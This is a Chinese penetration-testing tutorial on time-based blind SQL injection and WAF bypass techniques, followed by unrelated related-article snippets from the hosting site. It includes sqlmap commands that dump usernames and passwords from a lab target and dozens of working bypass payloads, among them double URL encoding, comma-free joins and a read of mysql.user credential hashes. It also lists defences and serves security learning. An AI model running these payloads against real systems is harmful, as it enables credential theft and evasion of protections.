渗透测试-百日筑基—SQL注入篇时间注入绕过HTTP数据编码绕过—下

day8-渗透测试sql注入篇&时间注入&绕过&HTTP数据编码绕过

一、时间注入

    SQL注入时间注入(也称为延时注入)是SQL注入攻击的一种特殊形式,它属于盲注(Blind SQL Injection)的一种。在盲注中,攻击者无法直接从应用程序的响应中获取SQL查询的结果,而是通过观察应用程序的响应时间来推断信息。时间注入正是利用了这一特性,通过使数据库执行延时函数(如MySQL中的sleep()函数)来检测SQL查询的执行情况,从而推断出数据库中的信息。

1、时间注入的工作原理

时间注入的工作原理大致如下:

  1. 构造延时查询:攻击者会在SQL查询中注入一个条件,该条件会触发数据库执行延时函数。例如,在MySQL中,可以使用IF(condition, sleep(time), 0)这样的语句,如果条件满足,则数据库会延时一段时间(如sleep(10)表示延时10秒)返回结果,否则立即返回。
  2. 观察响应时间:攻击者通过观察应用程序的响应时间来判断延时是否发生,从而推断出条件是否满足。如果应用程序的响应时间显著增加,那么可以认为条件满足,即攻击者可以通过这种方式逐步推断出数据库中的敏感信息。

2、时间注入的用途

时间注入主要用于以下场景:

  • 数据库信息探测:攻击者可以通过时间注入来探测数据库的类型、版本、表名、列名等信息。
  • 数据提取:在知道数据库结构的情况下,攻击者还可以利用时间注入来逐字符地提取数据库中的数据,如用户名、密码等敏感信息。

3、防御措施

为了防范时间注入攻击,可以采取以下措施:

  • 使用参数化查询:参数化查询是预防SQL注入的最有效手段之一。通过将SQL语句中的参数与数据值分开处理,确保数据值不会被解释为SQL代码的一部分,从而避免注入攻击。
  • 严格输入验证:对所有用户输入进行严格的验证和过滤,拒绝任何可疑或不合规的数据。
  • 设置响应时间上限:合理设置响应时间的上限,避免过长的响应时间给攻击者以机会。
  • 使用Web应用防火墙(WAF):WAF能够监控和过滤进出Web应用的网络流量,识别和阻止SQL注入等恶意攻击。

4、时间注入攻击方式

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。

在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。

mysql 延时注入用到的函数 sleep() 、if()、substring()select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒执行。-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这个原理 n>1 n 不延时就能确定当前数据库的长度了。

如果想要获取数据内容 可以用截取字符再再进行字符对比 如果相同就进行延时。这样就能获取字符接着再拼接就是当当前库的内容。

5、时间注入代码分析

在页面中分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。

在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。

6、采用时间注入

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
​
-u 表示检测的 url-p 指定的检测参数-v 显示调试模式--technique=T 检测方法为时间注入

7、sqlmap 检测为时间注入 接下来进行 通过这个注入获取数据库的名 用户权限、表、字段等敏感信息的获取。

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch--current-user 获取用户--current-db 当前库--batch 使用默认模式 自动 y
​

8、获取表 -D 指定数据库 --tables 获取表

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch
​

9、获取字段

在 sqlmap --columns 获取字典 -T 某个表sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.phpname=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
​

10、sqlmap 查询账号和密码

sqlmap -u "http://192.168.59.135/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch--dump 导出数据-C 指定查询的字段
​

使用 sqlmap 很容易就能把时间注入的数据注入查询出来

二、SQL 注入绕过技术

    SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云 waf加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。

以下是一些常见的SQL注入绕过方法:

  1. 空格过滤绕过
    • 使用注释符/**/、制表符(URL编码为%09)、换行符(URL编码为%0a)、括号、反引号等来代替空格。
  1. 内联注释绕过
    • 利用MySQL的特性,将仅在MySQL上执行的语句放在/*!...*/中。当MySQL数据库的实际版本号大于或等于内联注释中的版本号时,就会执行内联注释中的代码。
  1. 大小写绕过
    • 针对过滤规则只对小写或大写敏感的情况,通过大小写混写的方式来绕过关键字过滤。
  1. 双写关键字绕过
    • 在某些简单的WAF(Web应用防火墙)中,将关键字如select等只使用replace()函数置换为空,此时可以使用双写关键字(如seleselectct)绕过。
  1. 编码绕过
    • 对需要注入的语句进行编码,如URL编码、十六进制编码、Unicode编码、ASCII编码等。
  1. 等价函数字符替换绕过
    • 使用功能相同的函数或操作符进行替换,如使用likein代替=,使用greatestleaststrcmp等函数进行大小判断。
  1. 逻辑符号替换
    • 使用逻辑符号如&&代替and||代替or^|代替xor等。
  1. 特殊字符和引号绕过
    • 使用十六进制编码、宽字节编码等技术处理被过滤的引号等特殊字符。
  1. 对过滤函数的绕过
    • 针对特定的过滤函数,如replace()addslashes()等,构造特定的payload来绕过其过滤规则。

    需要注意的是,SQL注入是一种严重的安全漏洞,攻击者可以利用它来获取数据库的敏感信息,甚至对数据库进行破坏。因此,开发人员应该采取严格的安全措施来防止SQL注入攻击,如使用参数化查询、ORM框架、预编译语句等。同时,定期对代码进行安全审计和漏洞扫描也是非常重要的。

1、空格字符绕过

两个空格代替一个空格,用 Tab 代替空格,%a0=空格%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/select * from users where id=1 /*!union*//*!select*/1,2,3,4;%09 TAB 键(水平)%0a 新建一行%0c 新的一页%0d return 功能%0b TAB 键(垂直)%a0 空格可以将空格字符替换成注释 /**/ 还可以使用 /*!这里的根据 mysql 版本的内容不注释*/

2、大小写绕过

将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1select * from users where id=1 UNION SELECT 1,2,3,4;select * from users where id=1 UniON SelECT 1,2,3,4;

将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1select * from users where id=1 UNION SELECT 1,2,3,4;select * from users where id=1 UniON SelECT 1,2,3,4;http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,user(),3%0Aand%0A%271http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(SelEct%09group_concat(username,password)from%09users),3%09and%20%271过滤空格可以用%0 代替 也过滤# -- 注释 用字符串匹配
​

3、浮点数绕过注入

select * from users where id=8E0union select 1,2,3,4;select * from users where id=8.0union select 1,2,3,4;

4、NULL 值绕过

select \N; 代表 null

select * from users where id=\Nunion select 1,2,3,\N;select * from users where id=\Nunion select 1,2,3,\Nfrom users;

5、引号绕过

如果 waf 拦截过滤单引号的时候,可以使用双引号 在 mysql 里也可以用双引号作为字符串

select * from users where id='1';select * from users where id="1";

也可以将字符串转换成 16 进制 再进行查询。

select hex('admin');select * from users where username='admin';select * from users where username=0x61646D696E;

如果 gpc 开启了,但是注入点是整形 也可以用 hex 十六进制进行绕过

select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1),4;

select * from users where id=-1 union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;

可以看到存在整型注入的时候 没有用到单引号 所以可以注入。

6、添加库名绕过

以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则 并不会拦截[库名].[表名]这种模式。

select * from users where id=-1 union select 1,2,3,4 from users;select * from users where id=-1 union select 1,2,3,4 from moonsec.users;

mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。

select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)from mysql.user;

7、去重复绕过

在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截select * from users where id=-1 union distinct select 1,2,3,4 from users;select * from users where id=-1 union distinct select 1,2,3,version() from users;

8、反引号绕过

在 mysql 可以使用 `这里是反引号` 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。

insert into users(username,password,email)values('moonsec','123456','admin@moonsec.com');insert into users(`username`,`password`,`email`)values('moonsec','123456','admin@moonsec.com');

9、逗号绕过

目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号

select * from users where id=1 union select 1,2,3,4;

一般会对逗号过滤成空 select * from users where id=1 union select 1 2 3 4;这样SQL 语句就会出错。所以 可以不使用逗号进行 SQL 注入。绕过方法如下

ubstr 截取字符串
select(substr(database() from 1 for 1)); 查询当前库第一个字符查询 m 等于 select(substr(database() from 1 for 1))页面返回正常select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));可以进一步优化 m 换成 hex 0x6D 这样就避免了单引号select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));

min 截取字符串 
这个 min 函数跟 substr 函数功能相同 如果 substr 函数被拦截或者过滤可以使用这个函数代替。select mid(database() from 1 for 1); 这个方法如上。select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));

10、使用 join 绕过

使用 join 自连接两个表union select 1,2 #等价于 union select * from (select 1)a join (select 2)ba 和 b 分别是表的别名select * from users where id=-1 union select 1,2,3,4;select * from users where id=-1 union select * from (select 1)a join (select 2)bjoin(select 3)c join(select 4)d;select * from users where id=-1 union select * from (select 1)a join (select 2)bjoin(select user())c join(select 4)d;

可以看到这里也没有使用逗号,从而绕过 waf 对逗号的拦截

11、like 绕过

使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0

找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。

12、limit offset 绕过

    SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1返回条一条记录 如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。

13、or and xor not 绕过

目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2id=0 xor 1=1 limit 1 、id=1 xor 1=2对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下and 等于&&or 等于 ||not 等于 !xor 等于|所以可以转换成这样id=1 and 1=1 等于 id=1 && 1=1id=1 and 1=2 等于 id=1 && 1=2id=1 or 1=1 等于 id=1 || 1=1id=0 or 1=0 等于 id=0 || 1=0

可以绕过一些 waf 拦截继续对注入点进行安全检测,也可以使用运算符号

id=1 && 2=1+1

id=1 && 2=1-1

14、ascii 字符对比绕过

许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查询注入,可以使用字符截取对比法,进行突破。

select substring(user(),1,1);select * from users where id=1 and substring(user(),1,1)='r';select * from users where id=1 and ascii(substring(user(),1,1))=114;

最好把'r'换成成 ascii 码 如果开启 gpc int 注入就不能用了。

可以看到构造得 SQL 攻击语句没有使用联合查询(union select)也可以把数据查询出来。

15、等号绕过

如果程序会对=进行拦截 可以使用 like rlike regexp 或者使用<或者>

select * from users where id=1 and ascii(substring(user(),1,1))<115;

select * from users where id=1 and ascii(substring(user(),1,1))>115;

select * from users where id=1 and (select substring(user(),1,1)like 'r%');select * from users where id=1 and (select substring(user(),1,1)rlike 'r');

select * from users where id=1 and 1=(select user() regexp '^r');select * from users where id=1 and 1=(select user() regexp '^a');regexp 后面是正则

16、双关键词绕过

有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐患。

双关键字绕过(若删除掉第一个匹配的 union 就能绕过)

id=-1'UNIunionONSeLselectECT1,2,3--+

到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ 从而绕过注入拦截。

17、二次编码绕过

有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会拦截的。

-1 union select 1,2,3,4#第一次转码%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23第二次转码%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33

二次编码注入漏洞分析 在源代码中已经开启了 gpc 对特殊字符进行转义

代码里有 urldecode 这个函数是对字符 url 解码,因为两次编码 GPC 是不会过滤的,所以可以绕过 gpc 字符转义,这样也就绕过了 waf 的拦截。

免责声明:

以上内容仅供参考,不构成任何安全建议或指导。对于具体的安全问题,请咨询专业的安全专家或机构。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/883462.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于丑萌气质狗--C#的sqlserver学习

#region 常用取值 查询List<string> isName new List<string> { "第一", "第二", "第三", "第四" }; List<string> result isName.Where(m > m "第三").ToList();MyDBContext myDBnew MyDBContext(…

web3对象如何连接以太网络节点

实例化web3对象 当我们实例化web3对象&#xff0c;我们一般开始用本地址&#xff0c;如下 import Web3 from web3 var web3 new Web3(Web3.givenProvider || ws://localhost:5173)我们要和以太网进行交互&#xff0c;所以我们要将’ws://localhost:5173’的本地地址换成以太…

如何在短时间内入门并掌握深度学习?

如何在短时间内快速入门并掌握深度学习&#xff0c;是很多读者的困惑——晦涩难懂的数学 知识、复杂的算法、烦琐的编程……深度学习虽然让无数读者心怀向往&#xff0c;却也让不少人望而生畏&#xff0c;深感沮丧&#xff1a;时间没少花&#xff0c;却收效甚微。 如何才能更好…

python对文件的读写操作

任务:读取文件夹下的批量txt数据&#xff0c;并将其写入到对应的word文档中。 txt文件中包含&#xff1a;编号、报告内容和表格数据。写入到word当中&#xff1a;编号、报告内容、表格数据、人格雷达图以及对应的详细说明&#xff08;详细说明是根据表格中的标识那一列中的加号…

设计模式(二)工厂模式详解

设计模式&#xff08;二&#xff09;工厂模式详解 简单工厂模式指由一个工厂对象来创建实例,适用于工厂类负责创建对象较少的情况。例子&#xff1a;Spring 中的 BeanFactory 使用简单工厂模式&#xff0c;产生 Bean 对象。 工厂模式简介 定义&#xff1a;工厂模式是一种创建…

js构造函数和原型对象,ES6中的class,四种继承方式

一、构造函数 1.构造函数是一种特殊的函数&#xff0c;主要用来初始化对象 2.使用场景 常见的{...}语法允许创建一个对象。可以通过构造函数来快速创建多个类似的对象。 const Peppa {name: 佩奇,age: 6,sex: 女}const George {name: 乔治,age: 3,sex: 男}const Mum {nam…

pytorch的标签平滑介绍

什么是标签平滑(Label Smoothing)? 标签平滑(Label Smoothing)是一种正则化技术,旨在防止模型过度自信(即输出的概率分布过于“尖锐”)。在分类任务中,标准的目标标签是one-hot编码,也就是正确类别的概率为 1,其他类别的概率为 0。而标签平滑通过将正确类别的概率从…

小程序开发实战:PDF转换为图片工具开发

目录 一、开发思路 1.1 申请微信小程序 1.2 编写后端接口 1.3 后端接口部署 1.4 微信小程序前端页面开发 1.5 运行效果 1.6 小程序部署上线 今天给大家分享小程序开发系列&#xff0c;PDF转换为图片工具的开发实战&#xff0c;感兴趣的朋友可以一起来学习一下&#xff01…

基于Springboot无人驾驶车辆路径规划系统(源码+定制+开发)

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

Hadoop:yarn的Rust API接口

今天头一次接触了yarn的Rust API接口&#xff0c;在本地搭建了集群&#xff0c;能够得到每个任务的详细信息。 (一)得到所有任务的所有信息命令&#xff1a; 默认是json格式&#xff0c;也可以指定xml的格式&#xff0c;如(curl --compressed -H "Accept: application/x…

【大模型理论篇】主流大模型的分词器选择及讨论(BPE/BBPE/WordPiece/Unigram)

1. 背景分析 分词是将输入和输出文本拆分成更小单位的过程&#xff0c;使得大模型能够处理。token可以是单词、字符、子词或符号&#xff0c;取决于模型的类型和大小。分词可以帮助模型处理不同的语言、词汇和格式&#xff0c;并降低计算和内存成本。分词还可以通过影响token的…

fmql之Linux RTC

模拟i2c&#xff0c;连接rtc芯片。 dts&#xff1a; /{ // 根节点i2c_gpio: i2c-gpio {#address-cells <1>;#size-cells <0>;compatible "i2c-gpio";// MIO56-SDA, MIO55-SCL // 引脚编号gpios <&portc 2 0&portc 1 0 >;i2c-gp…

Modbus TCP报错:Response length is only 0 bytes

问题描述&#xff1a; 使用modbus_tk库&#xff0c;通过Modbus tcp连接PLC时&#xff0c;python中的一个报错信息&#xff1a; Response length is only 0 bytes报错原因&#xff1a; 与Modbus TCP 服务端建立连接后没有断开&#xff0c;继续作为长连接使用&#xff0c;客户端…

随笔—git操作

1. 创建一个 GitHub 仓库 登录到 GitHub。点击右上角的 “” 按钮&#xff0c;然后选择 “New repository”。填写仓库名称和描述&#xff0c;选择是否公开&#xff0c;最后点击 “Create repository”。 2. 在本地初始化 Git 仓库&#xff08;如果尚未初始化&#xff09; 在…

【Lammps】atomsk安装与环境变量设置(Linux环境)

【Lammps】atomsk安装与环境变量设置&#xff08;Linux环境&#xff09; 官网配置环境变量测试 官网 https://atomsk.univ-lille.fr/dl.php 下载的安装包如下&#xff1a; 使用Linux的解压命令进行解压&#xff1a; tar -xzvf file.tar.gz注意&#xff1a;file.tar.gz 替换…

【Vue 3】最全组件设计指南:从基础到进阶

&#x1f9d1;‍&#x1f4bc; 一名茫茫大海中沉浮的小小程序员&#x1f36c; &#x1f449; 你的一键四连 (关注 点赞收藏评论)是我更新的最大动力❤️&#xff01; &#x1f4d1; 目录 &#x1f53d; 前言1️⃣ 组件的基础概念与构建2️⃣ 组件通信的核心技术3️⃣ 组件的生命…

【文献及模型、制图分享】中国自然保护地典型治理模式成效比较——基于社区居民感知视角

采取何种治理模式能够更好地提升自然保护地治理的生态、社会和经济成效?基于制度分析与发展&#xff08;IAD&#xff09;框架&#xff0c;选择大熊猫国家公园内部及周边17个社区&#xff0c;通过问卷调查、半结构化访谈、单因素方差、逐步回归分析&#xff0c;比较统治、分治和…

CSP/信奥赛C++刷题训练:经典二分答案例题(3): 洛谷P2920:Time Management S

CSP/信奥赛C++刷题训练:经典二分答案例题(3) [USACO08NOV] Time Management S 题目描述 Ever the maturing businessman, Farmer John realizes that he must manage his time effectively. He has N jobs conveniently numbered 1…N (1 <= N <= 1,000) to accompl…

Spring Boot集成iText实现电子签章

文章目录 一 电子签章1.1 什么是电子签章1.2 签名流程1.3 技术选型 二 实战2.1 生成数字证书2.2 生成印章图片2.3 PDF 签名 一 电子签章 1.1 什么是电子签章 基于《中华人民共和国电子签名法》等相关法规和技术规范&#xff0c;具有法律效力的电子签章一定是需要使用 CA 数字…

Unbounded:一个无限生成式交互的角色生活模拟游戏

❤️ 如果你也关注大模型与 AI 的发展现状&#xff0c;且对大模型应用开发非常感兴趣&#xff0c;我会快速跟你分享最新的感兴趣的 AI 应用和热点信息&#xff0c;也会不定期分享自己的想法和开源实例&#xff0c;欢迎关注我哦&#xff01; &#x1f966; 微信公众号&#xff…